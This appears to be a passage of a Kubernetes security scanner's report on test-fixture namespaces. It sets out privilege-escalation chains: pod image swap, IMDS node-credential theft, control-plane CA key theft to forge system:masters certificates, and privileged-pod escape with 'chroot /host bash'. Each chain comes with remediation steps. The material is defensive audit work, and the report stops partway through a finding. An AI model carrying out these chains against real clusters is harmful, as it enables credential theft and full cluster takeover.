1. ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader via pod_image_hijack (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
3. ServiceAccount/imgswap-fixtures/imgswap-reader → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/imgswap-fixtures/imgswap-patcher.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-patcher, the attacker uses update/patch on pods (get,list,patch pods) to change the container image of a pod running as ServiceAccount/imgswap-fixtures/imgswap-reader. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH User/gw-deployer Cluster 7.9
User/gw-deployer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source User/gw-deployer → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: User/gw-deployer

Subject User/gw-deployer can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa via workload_create_token_theft (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
3. ServiceAccount/gw-workloads/gw-web-sa → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to User/gw-deployer.
  2. Acting as User/gw-deployer, the attacker creates a workload (create deployments) whose pod template runs as ServiceAccount/gw-workloads/gw-web-sa. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH User/gw-patcher Cluster 7.9
User/gw-patcher can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source User/gw-patcher → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: User/gw-patcher

Subject User/gw-patcher can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa via workload_hijack (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
3. ServiceAccount/gw-workloads/gw-web-sa → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to User/gw-patcher.
  2. Acting as User/gw-patcher, the attacker rewrites the pod template of an existing workload (patch deployments) so that its pods run the attacker's code as ServiceAccount/gw-workloads/gw-web-sa. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL

Subjects can reach node escape (host root) in 1 hop(s)

KUBE-PRIVESC-PATH-NODE-ESCAPE 54 subjects Score 9.0–8.0

Affected subjects (54)

CRITICAL ServiceAccount/cutres/cutres-doublebind Cluster 9.0
ServiceAccount/cutres/cutres-doublebind can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-doublebind → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind

Subject ServiceAccount/cutres/cutres-doublebind has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cutres/cutres-doublebind → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cutres/cutres-doublebind yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cutres/cutres-doublebind.
  2. Acting as ServiceAccount/cutres/cutres-doublebind, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the cutres-pod-creator-a binding (1 hop)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /). Evaluated cut: removing this subject from the cutres-pod-creator-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/foothold-fixtures/foothold-priv Cluster 9.0
ServiceAccount/foothold-fixtures/foothold-priv can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-priv → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-priv

Subject ServiceAccount/foothold-fixtures/foothold-priv has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-fixtures/foothold-priv yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-fixtures/foothold-priv.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/hookbackend-fixtures/hookbackend-operator Cluster 9.0
ServiceAccount/hookbackend-fixtures/hookbackend-operator can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/hookbackend-operator → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via control_plane_backend_hijack (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/hookbackend-fixtures/hookbackend-operator yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/hookbackend-fixtures/hookbackend-operator.
  2. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker takes over a Service the API server itself calls (write services + read secrets in hookbackend-fixtures): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Control-plane backend hijack control_plane_backend_hijack

    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account Cluster 9.0
ServiceAccount/local-path-storage/local-path-provisioner-service-account can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/local-path-storage/local-path-provisioner-service-account → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account

